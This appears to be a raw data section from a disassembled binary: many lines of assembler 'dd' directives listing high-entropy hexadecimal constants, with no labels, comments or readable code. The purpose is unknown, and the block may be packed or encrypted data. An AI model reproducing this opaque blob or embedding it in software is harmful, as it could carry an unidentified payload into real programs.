		dd 1002DD0Ah, 396737BFh, 20284E49h, 577660C9h, 18990CB0h
		dd 0A1A5C01h, 0B0702943h, 4853400Dh, 0A196E3ECh, 944DDD25h
		dd 5FCEE904h, 0E1D8F8BAh, 0ED7E69EFh, 0BBC8845Bh, 4F218EABh
		dd 1196C0ADh, 5B2DA12Fh, 452D5874h, 5772F74h, 0F3BA4C37h
		dd 0D07F27F2h, 5DCD970Dh, 7C4A4720h, 0E0FED4C5h, 2B0EE195h
		dd 0DE62DA6Fh, 65F0E282h, 2765D4FDh, 0EDE15DC8h, 2C304B81h
		dd 0B0021F67h, 3C5B0812h, 0D6DC880Bh, 0AF022D71h, 0C67D3D56h
		dd 11515825h, 7790ED8Bh, 0F9F95758h, 243828E5h,	2224954Eh
		dd 1F85D97h, 0D389C425h, 9D091CD7h, 2913B4FFh, 8190494Bh
		dd 0F73683BAh, 0D3E46F74h, 4A441742h, 430E425Fh, 430A1Dh
		dd 0E5BED9B5h, 9A842B6Dh, 8BCCE9BFh, 2AC50A2h, 0D04588B8h
		dd 0ECFD0139h, 1F02950Bh, 0D70BEADAh, 0EAC1E811h, 6805EA79h
		dd 53A31CC7h, 95101478h, 3D05E572h, 0EE8D6AEFh,	696F58C9h
		dd 30C5239Fh, 52669D88h, 80081EB2h, 1D4AF8C4h, 5A007E0Fh
		dd 0B753CCFEh, 0D74AF629h, 95C3C884h, 5BFC815Ch, 0C9F13102h
		dd 74C329E2h, 0A0EB5896h, 60676204h, 0A9C4C301h, 0F8E90802h
		dd 966E4A19h, 6852004Ch, 312E3BBAh, 0B294B0E9h,	5841BB1Eh
		dd 0D8291FB9h, 96359497h, 0CE4FD07Ah, 9795AD91h, 5D0F8C2Fh
		dd 0F0DC5B26h, 341D5C13h, 0F622A9E7h, 8411A0A7h, 0A78A30CBh
		dd 3F2FBB4Fh, 0D1113E0Bh, 2052E3h, 0D57B9ECBh, 45F9E91Eh
		dd 0A761F4BFh, 3E8764AFh, 6FF50952h, 78E90965h,	0F79D7B50h
		dd 1243BC22h, 0A4099B53h, 25F2D30Ch, 6EB85770h,	12361F00h
		dd 0C9E5B96Ah, 0E8954FEDh, 3F9A759Dh, 5FF7BA02h, 7F2D7EBCh
		dd 7792D7D0h, 13461D20h, 44BB951h, 0F149586Dh, 8106FCA8h
		dd 5C04F105h, 0E0FE2998h, 0BE7DE553h, 0C5F76250h, 871A3302h
		dd 0D9EB2903h, 72F84936h, 0A7F87229h, 4159C702h, 0F382810Bh
		dd 0B520AE32h, 0CA525E4Ah
		dd 0D5417F15h, 0E9CBB2FBh, 9F6F595Ah, 1AF7490Bh, 4A31AA71h
		dd 846C4342h, 356B97FBh, 820EADEh, 0E716857h, 5F3D1145h
		dd 0B82748C4h, 3686C31Bh, 4B88F572h, 589B4066h,	0E20B73BDh
		dd 0D6205ABDh, 0E33B06Eh, 8308E8C1h, 0DA68047Fh, 554CCC3Ah
		dd 57ADBD03h, 90BA6C4Bh, 0B06F7174h, 5DE91770h,	992BAF02h
		dd 93E89D5Eh, 0CC4AC53Ch, 0F509EB09h, 6CA7F9Ah,	5DEC39DFh
		dd 1B2CD332h, 0DA59A598h, 560E6858h, 0BE0E9A4Ch, 5E2B4277h
		dd 7FE6465Ah, 0F8AF592Ch, 0BE76F60Eh, 4FCDF992h, 0E7D6A02Eh
		dd 98437840h, 212A415Eh, 0AFF1F346h, 0EC912E3Eh, 890236BCh
		dd 31A520DDh, 9843F166h, 246E98EBh, 402B24EEh, 653A3056h
		dd 75DF872Dh, 0F0BF3893h, 0FB6722EFh, 79FA2E76h, 7C6959F8h
		dd 0FB60FF52h, 5A98FA01h, 15F3434Eh, 83C39E19h,	0B1DDFFE8h
		dd 5ECD7A37h, 1D9ECF40h, 0DB6D50CEh, 34094859h,	0F25E4A30h
		dd 7F5A1326h, 469404BEh, 0D261FA02h, 9838CD68h,	29FFBFCBh
		dd 67DA57DDh, 9EB27F95h, 21636DDFh, 626884E2h, 0A0529166h
		dd 57A207C4h, 60D25675h, 0B7E9505Dh, 0BF161A60h, 26F550Eh
		dd 1DF5BB7Bh, 855D7CBAh, 0CC949FA1h, 0DAC786BBh, 18A2F1Bh
		dd 0CBDB104Ah, 25FA580Eh, 44BBD3DFh, 0C0091283h, 92CDF447h
		dd 1DF8E038h, 4F753D17h, 56688CAEh, 7AC91E69h, 0AE505BCDh
		dd 2CE99E68h, 0A51BF639h, 0E1252964h, 9E7AA1FCh, 12603493h
		dd 0DF309FFDh, 5A81ADB4h, 8710F6Fh, 90B27945h, 206850E0h
		dd 60234800h, 5E213558h, 3D4E585h, 1441043Dh, 0D038AAE9h
		dd 1875B5C9h, 4CB2505Ch, 25CA0029h, 0E96A6C23h,	28A24162h
		dd 5F501644h, 830629F8h, 0A6189923h, 4405DB09h,	7EC70C73h
		dd 3B880BBDh, 607D4967h, 980DCBCFh, 66F60CD1h, 77181605h
		dd 64E54502h, 0DF3CCEE9h, 38598790h, 0CC13471h,	1377EAEh
		dd 293BD8C5h, 4AF46817h, 0EA2A60E1h, 0EAF8A75h,	0B8B2A51Eh
		dd 0B8DE8A3Eh, 0E5BF5D93h, 0A3B46064h, 8132182Fh, 0BD65B842h
		dd 0FBAFB02Fh, 736B6A12h, 0A2E26BFh, 3C190258h,	0FB649B50h
		dd 692480A8h, 0E9214B68h, 160F709Ch, 8BE96DC8h,	2026514Eh
		dd 2EA5078Fh, 0F24533B7h, 1A5724B1h, 0B7E5753Dh, 45B479C9h
		dd 0E18BBB57h, 853BA951h, 87A3BB06h, 0C55451C5h, 0B91D94FEh
		dd 5253B15Bh, 0F1C5313Ah, 849D6F4Eh, 0D0123962h, 2D83E336h
		dd 5EF309BEh, 79590815h, 4ACC30Bh, 0C98961CAh, 0AD12C03Fh
		dd 132ED908h, 3C0BA255h, 7B4A76F1h, 0C563DFAh, 0F066B409h
		dd 3CDAE000h, 66EC280h,	857F5BC9h, 0F0CB512Ch, 6465B418h
		dd 0D6BC9430h, 522A256Fh, 48A88AAAh, 0E900B466h, 6A6D054Eh
		dd 4BDD5CF7h, 1232431Dh, 0A8220113h, 2023384Dh,	1913EB14h
		dd 0D7A04FE9h, 67403BE3h, 17D6424h, 59AB01C3h, 10F7D2EEh
		dd 0D2403091h, 9F8CA996h, 20C9520Bh, 0B0F36E7h,	50357662h
		dd 22D871Ch, 272AB16Dh,	31E3C529h, 21189675h, 0D8EE0B62h
		dd 0A8DC8270h, 1A1BFC03h, 0B1108D5Fh, 805E3F07h, 0D331E6CFh
		dd 7056E928h, 1E77954Ch, 422C96AEh, 4840E589h, 0D2265032h
		dd 99011254h, 567D9742h, 1FD4F070h, 4341551Fh, 0FF49F9C9h
		dd 12C10C00h, 512573DBh, 1AFB85Eh, 0D77CEDF6h, 7C87681Bh
		dd 75E90B41h, 0A03CEE7Fh, 0B75D1F96h, 0CE0B74F8h, 0FD3A33E9h
		dd 890E8598h, 88C137C0h, 0F6EB4711h, 0A8D15BF2h, 3B10B15Bh
		dd 7A405902h, 0FD3E3CFEh, 142D183Eh, 172CF171h,	0B521322Ah
		dd 5D806E2Dh, 39FA4B52h, 3520E906h, 130CBD98h, 226C633Eh
		dd 0E90DC20Fh, 6C754992h, 0D132D82h, 683A04C6h,	0AB985E97h
		dd 0E5EA2CE9h, 4B828994h, 4CBFC74Ch, 5BD92C3Ah,	60F42565h
		dd 6602E958h, 8B0449F4h, 975A9AF4h, 0E4E71FECh,	2AFC5Eh
		dd 0D33017B2h, 2F805A66h, 0C9E0D4C3h, 0E92FF986h, 0DE4C09CCh
		dd 0E817E42Fh, 0EBBB09D5h, 81010240h, 0EAF17F6Ch, 0E98B2525h
		dd 0E82C2986h, 1D0D0290h, 2DE82967h, 7CE90781h,	0B4229F96h
		dd 5E52849h, 85E135DAh,	53A2B02Bh, 2C64B70Eh, 22D4E9Ch
		dd 70A3E9F8h, 1369F07Bh, 0FA658E22h, 13078910h,	0BBC22EE9h
		dd 0F3D3484Bh, 757728B4h, 4EF92F3h, 2D49A5C6h, 0F2518313h
		dd 0E910E1C8h, 2EF85C55h, 0BB964FCBh, 11403889h, 41D82297h
		dd 0F5FAC840h, 0AEE91208h, 0DE010946h, 0EFFC50CCh, 9EBBA65Dh
		dd 5DFB6049h, 6804FFCDh, 278D5848h, 4CEDF72Bh, 0B3413357h
		dd 0BA5FB0CBh, 34EBEC70h, 0BF92169Eh, 0E1B02A18h, 23922046h
		dd 0B21DB1Fh, 28E203BBh, 95ED133h, 74354B18h, 0E9F2EE00h
		dd 0E158F687h, 7B36287Ah, 793EEA08h, 2953003Dh,	0E3682B19h
		dd 3531034Ah, 6AC861AAh, 19E91657h, 5553E42Fh, 8331A64Ah
		dd 417A3EB3h, 0EB1F2D08h, 37807E2Fh, 780DBDC1h,	48DD900Ah
		dd 42621515h, 58059862h, 0B5FAD8BBh, 3C802840h,	0B912A5F3h
		dd 8976B233h, 426EDF4Fh, 3B20B090h, 14BE058Dh, 0EC50AF01h
		dd 12FF963Fh, 11A7D11Eh, 0B9C91439h, 0C667607Fh, 232D6E60h
		dd 95C94343h, 0D55D080Bh, 0E59D62CEh, 9A7D2F6Eh, 0D7F4557Ch
		dd 2F0A5788h, 62639356h, 0E7E50090h, 7B83326Dh,	78B8EFC1h
		dd 89047CE6h, 8E9841Fh,	0F20FE494h, 5764C1C2h, 68D8293Bh
		dd 48064C66h, 723401DEh, 0F95947B9h, 3DE32AC5h,	773BBB02h
		dd 53627617h, 0BEF3C4EAh, 718AE9E1h, 0AD3A8965h, 5DEF16DDh
		dd 2696F9E0h, 0CB4E52Bh, 0E90D94EBh, 0EEBE4B2Ch, 88510983h
		dd 0D65FD2C1h, 0E44F19F1h, 9297E407h, 0F8D5329Fh, 25D97BFh
		dd 56115D45h, 835E4074h, 0E69F02C5h, 0EC2520A6h, 0F0E62825h
		dd 0B9405D7Eh, 45505289h, 0C5180D02h, 89355806h, 6854A106h
		dd 8C2F3120h, 874062D9h, 2EC01C0h, 0CC80D4F6h, 0CA5E9217h
		dd 4F3BA6BAh, 0FE4A6BACh, 0EF4EF6CBh, 0F7D39962h, 34FBEFC0h
		dd 7F519225h, 368EFA4Ah, 0FA4923E4h, 0E1E5A5CDh, 5AEE016Fh
		dd 730DFC68h, 75744AA4h, 0E613ADC2h, 0B25E5AA9h, 1A2EC456h
		dd 755A5407h, 0E7F7F42Fh, 0C66FE50Ch, 174A0C57h, 14D8202h
		dd 502F5248h, 72F47F36h, 0DD0F3FC7h, 97E2FCAFh,	0A498B150h
		dd 801C4EB8h, 0C7C1DCEFh, 90B25218h, 0F3AEAE4h,	0C05AD708h
		dd 60673FDh, 13AF2A2Ch,	1319FB88h, 6E88F459h, 9BB5340h
		dd 13965157h, 77F6F648h, 0CD00113h, 0FDA293EBh,	3EFE32F1h
		dd 0F185ECFCh, 371E9FCh, 58D26851h, 2D81A4F8h, 972A12BFh
		dd 263DB8BAh, 0C140C59Dh, 0EAD6A1C2h, 30CF6289h, 53056861h
		dd 4051E001h, 17E0FD0h,	83DBF70Fh, 0FC5FFEC3h, 835AA51Ah
		dd 52B8502Fh, 66799DD7h, 8B3792Dh, 58244E31h, 5D5F1B0Bh
		dd 0EBC099B8h, 0DDCB95A0h, 0E943ACC7h, 0E46909Bh, 60AD9470h
		dd 58E18833h, 3F5425FAh, 0BB70B00Dh, 3026C17Dh,	1213AECBh
		dd 0B56277EFh, 919857EDh, 9E2D2824h, 370F5D69h,	44464564h
		dd 0A4E39241h, 8C20A03Ch, 424C418Eh, 9468546Fh,	0C54C34AAh
		dd 886B10CEh, 457C3503h, 59693E2Ch, 0B5020402h,	5EC2C0BDh
		dd 0E4D5EE87h, 0FEBA8214h, 56210079h, 0A674F0BEh, 1C801A4Eh
		dd 184AE84Bh, 0B1B677E9h, 0A4B710A7h, 0DCAE2C2Bh, 55975C1Ch
		dd 1C7CCF1Eh, 4B9B4C97h, 0FC86179Ah, 0BBA54BFAh, 0C5A25DD6h
		dd 0DB4883E9h, 0C70FCE81h, 6B6EDF0Bh, 0B9F5E043h, 5E5DF0B8h
		dd 0C864FA1Dh, 363C8EBh, 6409D390h, 0AF703E59h,	0C9403F82h
		dd 0E92C4327h, 0BC6F590Bh, 0E264184h, 0EDB13F68h, 0B805A799h
		dd 5FA60054h, 0D88975D7h
		dd 110D005Bh, 0E9098C30h, 0BA97F28Dh, 0F8C6D70Eh, 5607604Bh
		dd 1E759D2Ch, 0AC2F20B1h, 25A1E5EDh, 0C5AFB82Fh, 6B8A9A5h
		dd 0BF88EBD7h, 636E038Dh, 0BCE94D58h, 0AD65FAF4h, 0B20CC5AFh
		dd 1768014Eh, 5A13770Ah, 6089A16Bh, 19173479h, 73011DBEh
		dd 7E89363Dh, 0F729A141h, 0F6A94C9h, 9A350F99h,	0EC72A884h
		dd 0DE558ADBh, 0C8E3140Bh, 1E158F82h, 45BA08EDh, 0FE131B43h
		dd 2FEEBAD4h, 0D2F70B80h, 2B3C5F53h, 1721FF30h,	2C137BCFh
		dd 2F714EDh, 1CC001D4h,	0EE5E8FF7h, 6B898EF7h, 0BDF758E0h
		dd 0DEF2F163h, 44625207h, 69FA7D8Bh, 0E1001BA4h, 78F14259h
		dd 811EECE9h, 0E13221C0h, 1049F7AAh, 93091778h,	3B13EDF9h
		dd 11CDA332h, 5A101B75h, 0F2C45E58h, 0B6509CABh, 79C50710h
		dd 5B250890h, 6601891Eh, 0E9677868h, 4884086Fh,	8088D3F6h
		dd 80263453h, 28CDC31Ch, 10B652C0h, 2C50E6D0h, 1C3D9B4h
		dd 0E9DCF61Ch, 4F0B382Ah, 305F69BBh, 663FCB0h, 0B9B7C219h
		dd 0C465FEEAh, 0CD2874F9h, 2C68E4Ah, 15A6AC45h,	4C707D05h
		dd 226412A2h, 55F8015Fh, 5FCC6E1h, 0FF7C94ABh, 2D847EE1h
		dd 0BDF8C0E9h, 0B7B95B1Eh, 403C4E7Bh, 3B87E201h, 269036B7h
		dd 3E2E427Eh, 0CD839239h, 0EB799057h, 2050EBDAh, 6817C16Eh
		dd 3A313374h, 0FAFD8CB6h, 0EC5B4C34h, 0F5624EEAh, 0D5728889h
		dd 0F7010BC0h, 80EF4D04h, 0A254CF42h, 0BAE91C17h, 0AD663C45h
		dd 81005DB2h, 0E1360EAh, 0DA680159h, 0C3408E2h,	44E4F1FAh
		dd 0FFF1FA13h, 405B289Ch, 3D82BF57h, 58B71065h,	86CCBF33h
		dd 0D3E48A02h, 554FE9DDh, 59DF52E2h, 0D47C69B9h, 60F1CA1Ah
		dd 627E31FEh, 5A47E61Eh, 4CC5E575h, 8A396873h, 0A2032D7Ch
		dd 713AFCF1h, 7D5C88BEh, 0DBBF9020h, 0C59DB464h, 3E53F17Dh
		dd 60360F28h, 66641A56h, 3CEF028Bh, 0FDE95FD4h,	0BBF764D3h
		dd 2DF284D1h, 29722B47h, 8EB8004Ah, 0CD4A2CC6h,	133F8AE1h
		dd 16F3AB9Ah, 0E0D70FDAh, 803584B4h, 3B1E0EBBh,	0AE982990h
		dd 16A7B8F1h, 0F17C946Dh, 581493F3h, 5914A00Ch,	5B662FF8h
		dd 0B5829EC5h, 60D4B373h, 9134BF48h, 11C4EFA8h,	0ECD08845h
		dd 758A5716h, 0BDFCDBB5h, 0E4E52494h, 53F22D54h, 68EE897h
		dd 4F08292h, 511E4207h,	0ED855D2Fh, 25E0709h, 202043F6h
		dd 142BFAF1h, 4A4E3C7Bh, 60FBC9BBh, 1F1F641Fh, 69891EDAh
		dd 0F011C43Fh, 430F60C5h, 0F727D8EEh, 0B723D49h, 704F1144h
		dd 63E230CEh, 7161F693h, 211EF518h, 0BDFDD71Ah,	55B82E4h
		dd 4F046ABh, 0F10F3531h, 0B8605961h, 3A21F8FAh,	62A53D35h
		dd 0DC342E82h, 67F37F63h, 25BD8BDDh, 0CFC57DEAh, 0E2F9DE25h
		dd 68000320h, 0E9581584h, 0C9210DE8h, 0D103F09Fh, 3AEB248Eh
		dd 0CCF38625h, 6C39203Ah, 0D0B235B0h, 0A896F595h, 0D11DE52Eh
		dd 4B35C340h, 10E29D4Ch, 0E862C97Dh, 0F4C48000h, 97A06CEh
		dd 7C1D07FCh, 0F0DBE5B3h, 92822C5h, 2C08E9ECh, 3570A254h
		dd 0D5F01362h, 95250071h, 8138E147h, 5821E700h,	3E9334Fh
		dd 0BCA2B536h, 39D53057h, 76410A0h, 3CCE0A68h, 98D2D61h
		dd 6A1A347Ah, 36DC1180h, 0E91048CDh, 0FB4E1D16h, 19951381h
		dd 95F1093h, 795D6110h,	0ED40E5DBh, 2EFE317Bh, 2500E19Dh
		dd 7A130FBAh, 3AE5054Fh, 0E02FB5D4h, 58E97032h,	918FF12Ch
		dd 0F15920B9h, 5BBD3CF9h, 9D5C0728h, 32F047E8h,	2709C59Fh
		dd 0E94D22D5h, 2DB04889h, 730416F8h, 1FC78423h,	0FD2F07h
		dd 0F2685DD3h, 2003922Eh, 690CC35h, 19A15B4Ah, 5B9EC430h
		dd 54A6D242h, 7539557Ch, 0E04BDEB0h, 2D0201AAh,	6BBF15E9h
		dd 992F74CDh, 0EB89DA55h, 3140C177h, 0E90CA87Ch, 0B8F70E48h
		dd 9D5B9539h, 37802D3Ch, 0E0D12093h, 67C725E9h,	8828EDDDh
		dd 6A2714C1h, 0C8417FC4h, 5149F453h, 0CE81AD9Eh, 64202FF2h
		dd 9D18C3F0h, 4108C5AFh, 5CCD702Dh, 0C680E09Dh,	5AEC3527h
		dd 153F969Fh, 9F2C6068h, 2A38E10h, 0C2324005h, 1F73C184h
		dd 0D69E1F22h, 5CE3F028h, 0D316B291h, 1362191h,	1894C7A4h
		dd 2CF53F20h, 14CE5E2Ch, 2076D82Fh, 0E8BF3F41h,	721BAADAh
		dd 2D58283Eh, 38E92506h, 0F989EC03h, 0E79E55BFh, 2F215842h
		dd 62F5F47Bh, 7CDEA707h, 4609ED67h, 8229E6B1h, 2A542041h
		dd 88F4731h, 33F6EE04h,	9E052B48h, 8737F577h, 8548E6Bh
		dd 2FA18D4Eh, 0FC5AD7E3h, 259CB1C6h, 7A10E67Fh,	33F13F4Eh
		dd 4063DF6Ah, 0FE4090A8h, 68C50901h, 0AB7C0EEEh, 6B62FFD2h
		dd 6B071B52h, 29A7C8D6h, 71405936h, 26050458h, 82575A0Ah
		dd 7882DB0h, 0CDE9417Eh, 3048818Ah, 0E58859CCh,	0F554E03Ah
		dd 3604161Ch, 0E816CD9Ch, 24E9FA02h, 5FFC551Ah,	111949CEh
		dd 0F9C22610h, 0A25E4924h, 67547A82h, 0F78A5F5Dh, 70D800A8h
		dd 0C5314172h, 893CE916h, 88D0D2AFh, 61F0B802h,	0E02B4393h
		dd 4A1392DEh, 0B2AFD2F7h, 0A80500F5h, 68128236h, 56744EF8h
		dd 4A7FFC46h, 0FCE478BCh, 75872DBAh, 4959E532h,	7C2D29A6h
		dd 0EA8EBF58h, 0A9329BE9h, 692B1059h, 341D89DFh, 0DF72397Ch
		dd 0B61749Ah, 0DF2901E7h, 95353EDCh, 20631CDFh,	0B6277D12h
		dd 4709543Fh, 7E3EC1BEh, 99FF6010h, 49920904h, 2D80D6F7h
		dd 0CBEC3790h, 0F374A868h, 9DAE3C2Dh, 1167E100h, 0F2CD03DDh
		dd 0C27F0D65h, 87D9315Ch, 0E99DD925h, 9020465Fh, 0E6FE5E7Dh
		dd 0C301182Eh, 28779B68h, 17E10694h, 0BE62ABE9h, 815C9170h
		dd 6A6C0EC9h, 0C1C61B9Bh, 681203FFh, 0B3AD4071h, 0F52DDC88h
		dd 2B42B612h, 596B9FF0h, 0BF9F007Dh, 0FE54907Fh, 0CF3FF396h
		dd 8B9B40A2h, 0B76FCA64h, 0E895E525h, 599714FEh, 0BE96BCE1h
		dd 10EE32Eh, 7BEA15F9h,	4078B3E9h, 0F628EC5Eh, 9DD79530h
		dd 3BB5C2h, 131922F9h, 2B96C137h, 0EF112h, 0CE9A9C31h
		dd 6003D908h, 3A8E7096h, 72CF029Fh, 2F52722Bh, 75BA82E4h
		dd 1CFDC55h, 6FA568F3h,	5DD06B0Fh, 2526F2F7h, 5E5A707Ah
		dd 0C20023F2h, 372D3EA7h, 0BD67612Fh, 782DCD0h,	0F39F21E6h
		dd 0A7488C8h, 786F42Fh,	60FD2DE3h, 1B17C625h, 2403C3Bh
		dd 29F47CC7h, 10836135h, 0AAF09AA5h, 0C72C631h,	95414CB1h
		dd 95FBC101h, 20C081Ah,	0CA05E914h, 9EF66061h, 625E2F7Dh
		dd 79657079h, 0C5D840AEh, 9540BAF3h, 55EC4AC1h,	75615BB3h
		dd 80BBF760h, 11BDF921h, 0D524530Fh, 0EEC15BFEh, 10052212h
		dd 8BBACB28h, 5ABA7CB4h, 0E103434Ch, 0C772183Ch, 4F95A516h
		dd 32A6D712h, 0D8950F2Ch, 9A7A971Ah, 0C509B5B1h, 0E5597D75h
		dd 95EE3C92h, 39D8A0B3h, 0E9D4F604h, 0B3EB27B9h, 8029253Ah
		dd 656CE6EEh, 884A4F56h, 0D7131BA5h, 0BBBC8A70h, 0E778BB93h
		dd 0E5C049E9h, 51555B00h, 756EDE68h, 442D4A7Dh,	0CC71D132h
		dd 0D1F04A42h, 0D089CE04h, 29D9148Bh, 6BFA293Fh, 0D31202F6h
		dd 3AA3695Ah, 0CC134BADh, 0FB5813FCh, 0C4DE361Ah, 0FE0CD7AAh
		dd 0DE01CD45h, 0A837082h, 0A057071Eh, 0DB18A332h, 0CE88141Ch
		dd 595AF784h, 0F5291FBh, 0D1A02D2Bh, 7BFCD649h,	142938C4h
		dd 60AE1F85h, 0FED761DEh, 17343EE0h, 0BBC12884h, 86D1602Dh
		dd 0E82CC8C0h, 9786FDE9h, 36158EBFh, 1C0C0298h,	0C2D2F42h
		dd 4C5D104Dh, 13600163h, 474F298Ch, 87C11087h, 0D8E9112Dh
		dd 0D2ED2E9Ah, 3BD66809h, 8207F3E6h, 0C062E680h, 0EE600637h
		dd 2D686601h, 9C597556h, 56FE9E0Bh, 0BC45CFEFh,	4AD8AAD4h
		dd 40F24192h, 0FD76AE80h
		dd 525A692Dh, 0F1635A0Eh, 6CAA3E72h, 0A72DE9ECh, 0D275FC4Bh
		dd 0EA9AA382h, 4EE89157h, 7BF7F440h, 2C6E6090h,	53C827F0h
		dd 971DB69Ch, 0E8B73AF3h, 56CC780h, 285BFC30h, 645E44E3h
		dd 0D629073Ah, 13FFF474h, 0B4ECA82Dh, 53F300EEh, 88DDB652h
		dd 8073F377h, 0D30CF6F0h, 3C9C70E9h, 7C681359h,	734B6123h
		dd 0DDF73ACBh, 8BDB170h, 5805FB67h, 84C88968h, 0FA495FC1h
		dd 4A38A021h, 0A83EB349h, 545A2F9Ah, 0AB183590h, 0FEC455B3h
		dd 9621EC53h, 4D453FAh,	795209Bh, 4A726FB5h, 59E5DD25h
		dd 0B3048420h, 7CB4E9ADh, 5632F98Fh, 9355E44Ch,	47B2C1C8h
		dd 8B4B109Fh, 45DFF302h, 0BE5316CAh, 81BBB1D4h,	2EA12BC3h
		dd 911204CAh, 0CA5CFCF1h, 313D650h, 10C71E27h, 0E3420DF2h
		dd 0E942AF4Ah, 3F915C29h, 2D808DCCh, 3FA73B03h,	550D0FCh
		dd 404A5A07h, 12024FB4h, 0BF060E1Ch, 0A96EADE5h, 38FAA454h
		dd 0EA728846h, 0C294D452h, 7DD847E9h, 0E04C4065h, 2B0F6BB4h
		dd 0C7324855h, 7B5E8155h, 56FC98D1h, 0BEE68005h, 109C52C8h
		dd 0FFDA0142h, 3C3E8CE8h, 0CA0ED1B8h, 0C0579419h, 2E6260F1h
		dd 5D6A12Bh, 0CC89896Bh, 0A29DAF68h, 402D532h, 819A9558h
		dd 6E61369Fh, 0EF4E1CDAh, 83F3061h, 0ED890907h,	0B5B2C855h
		dd 58FBB55Eh, 50C2FC25h, 9EBD0205h, 25C4FA2h, 0EB282227h
		dd 49B071FFh, 358687E0h, 0F8D9DFCCh, 0E737057Ah, 82CD8963h
		dd 82F62371h, 0F5F08C62h, 1DC03E18h, 5D6AF417h,	0A348B90Bh
		dd 0A8EF81BFh, 0C00ADD05h, 8D6EBC0Ch, 284EE934h, 0B32FCDF1h
		dd 0F2EAD249h, 9E82D708h, 2AC9543Ah, 66519FBEh,	0F2C0CCC2h
		dd 283309A9h, 7F802555h, 6C51136Dh, 20C2DCBDh, 141CD108h
		dd 8B7CB57Ch, 9028909h,	593742ADh, 8F2F628Dh, 2050A474h
		dd 77E692B3h, 0A7E205Dh, 3BE16814h, 116E841Fh, 5816BD00h
		dd 292C0C09h, 8B1217C5h, 0B47A77BEh, 5BC7BC40h,	0D9D921EBh
		dd 0DE75EAB9h, 4EDFEB8Dh, 5E93D2Ch, 0A368B45Eh,	2AF5B292h
		dd 0A05614BEh, 0CC4884h, 0BBE5653h, 0A0F0B06h, 84FFFE87h
		dd 680251D7h, 9855783Ch, 9EEE3FCAh, 0C3606257h,	0B9BA5A04h
		dd 0A3013423h, 753583EAh, 0D606A9F5h, 570491ABh, 9DAFAAB5h
		dd 82BB4A9Fh, 59D53AE9h, 9F749AFh, 9B4C540h, 0FB7755F7h
		dd 4163A860h, 7EA1A787h, 92FF272Ah, 84945E9Ah, 0AAFEFA89h
		dd 0D114F542h, 973198F8h, 4783BC1Ah, 1E949252h,	0C2CC3377h
		dd 7F000BD7h, 1DAE5A9Bh, 73200504h, 0EDC02ADAh,	3E776335h
		dd 0E30568ADh, 0F53F6DFEh, 7217C46h, 1F48440Ah,	41AA736Fh
		dd 84685DD3h, 0C4AE7C0Eh, 0BA104213h, 0DC62BB05h, 0A609AFA2h
		dd 7EC07505h, 224DB6E9h, 0B293CFFh, 294A3AEEh, 4D03D80Bh
		dd 61F4C151h, 0C24BA6h,	0B5E2885Ah, 9072D7D4h, 0BC9D700Eh
		dd 38CA806Ch, 0E5C17A02h, 0F5810800h, 9617754h,	26AE31E9h
		dd 3ED33128h, 0C80495B2h, 0D47A2372h, 5B0708A2h, 1F503E05h
		dd 2AEEF5C0h, 1DD22E2Eh, 5B111061h, 45F9BB81h, 0E843997Fh
		dd 8E913519h, 77255824h, 0BAF69CCCh, 2CBBE45Bh,	0B3946E74h
		dd 6992FE27h, 0F74D2BFFh, 0D74957C5h, 0F30C8F51h, 0E684CF6h
		dd 735F185Dh, 0A3BECB5Eh, 0C99F0D64h, 4141FE29h, 20817AC6h
		dd 0C38872B0h, 0BAFC6A58h, 0EAD53996h, 30CAD2E0h, 7B87F45Ah
		dd 0D2E9024Fh, 2F22D129h, 3D1E1A7Eh, 78180E8Bh,	565726A8h
		dd 0A6540905h, 3BCBEFE9h, 0FE597882h, 0E9005A56h, 315E4428h
		dd 1358E848h, 36D80692h, 0A57A17D8h, 135AE827h,	87D818DEh
		dd 47699F3Ah, 0B88160DFh, 1F5822B8h, 0C162265Dh, 81A9FC58h
		dd 0E350D85Bh, 1EF25A9Ah, 0ABF0A45Fh, 3CFA416Bh, 0AEA4D6B7h
		dd 0A430B402h, 0CF110BC7h, 68047AF9h, 5DA363C7h, 5111DD10h
		dd 0F5806A61h, 40394304h, 12C34D46h, 1D565BC4h,	0CB10D70Dh
		dd 4BF4299Eh, 0A6BCCF16h, 6A6573Ah, 0D772D41h, 97311C54h
		dd 0CE036139h, 4FEC6DAAh, 5044F6B0h, 0F709CCE5h, 0F5F2D2CBh
		dd 73688030h, 47B3164Eh, 111BA319h, 2A9570E7h, 2092C69Dh
		dd 0E4972168h, 4BD8F479h, 3121BB0Eh, 0B13296A1h, 122666C4h
		dd 632F59B8h, 0CEBA1709h, 3B1E941h, 4456B154h, 39D5CA51h
		dd 7BAE8B2Ah, 4CBCE74Fh, 0C40F55DEh, 0A3014948h, 2947C963h
		dd 0F0A5F7F9h, 681659CDh, 4C301648h, 4F525366h,	4573E8B2h
		dd 0A3841A4h, 0BD3B5029h, 71037CD1h, 79CD810Ch,	4072C206h
		dd 4F02927Eh, 22FE50Fh,	86596980h, 53AE510Ch, 0AA6BB7BEh
		dd 394414D9h, 5E21CB8Dh, 0B3688550h, 428FBE28h,	0B28E35Fh
		dd 0FA07EBE9h, 0A07BA028h, 18A3353Ch, 19D4AF9Ah, 67B2EC94h
		dd 0FEC3135Eh, 0BD707939h, 8AA7A0FEh, 0E36BB997h, 7FC895B8h
		dd 83004806h, 0B0501E8h, 0B7073139h, 85C0F1E3h,	0FB4C17D3h
		dd 3FF4FB4h, 42DFE914h,	4FC4855Eh, 0C0DF84EAh, 4C7D3C5Dh
		dd 0DBE9C80Ch, 0B0AD2464h, 0E25C2F94h, 62520559h, 28C57D36h
		dd 51AE85BDh, 831037F8h, 2A084191h, 765A6482h, 0B666C29Dh
		dd 3EF76800h, 5D3717CBh, 9AF1FC31h, 13C5DF2Ch, 0AFF9D7E9h
		dd 27D3E9E1h, 0CCCF4A32h, 0BFB103B0h, 99B0EB80h, 972E4CC3h
		dd 0EC105D57h, 434BE7E9h, 20299DAFh, 5F97B276h,	0CC889711h
		dd 0CD369C9h, 45CBBD0Fh, 2182F58Bh, 0C667F754h,	0E93CACA6h
		dd 507B7548h, 8577E944h, 88DD578h, 0AB6F099Fh, 4A80D8EEh
		dd 30E8E35Fh, 0B551C5ABh, 0EA883B37h, 0F2805906h, 3C70F028h
		dd 0B050D30Eh, 88057D93h, 0C7468AECh, 13A50CE9h, 0AC623168h
		dd 0A520C67Eh, 298C241Bh, 935267F6h, 0E5253C32h, 5C58E17Bh
		dd 9460F77Bh, 0D0748B0Eh, 6E69F4Ch, 75395F95h, 0EC1F3050h
		dd 2F342909h, 0BC44755Eh, 6D0305A0h, 2931DF13h,	84152A8h
		dd 16CE4F60h, 0F0A6196Eh, 721796B4h, 821D2E3Eh,	7F54FC4h
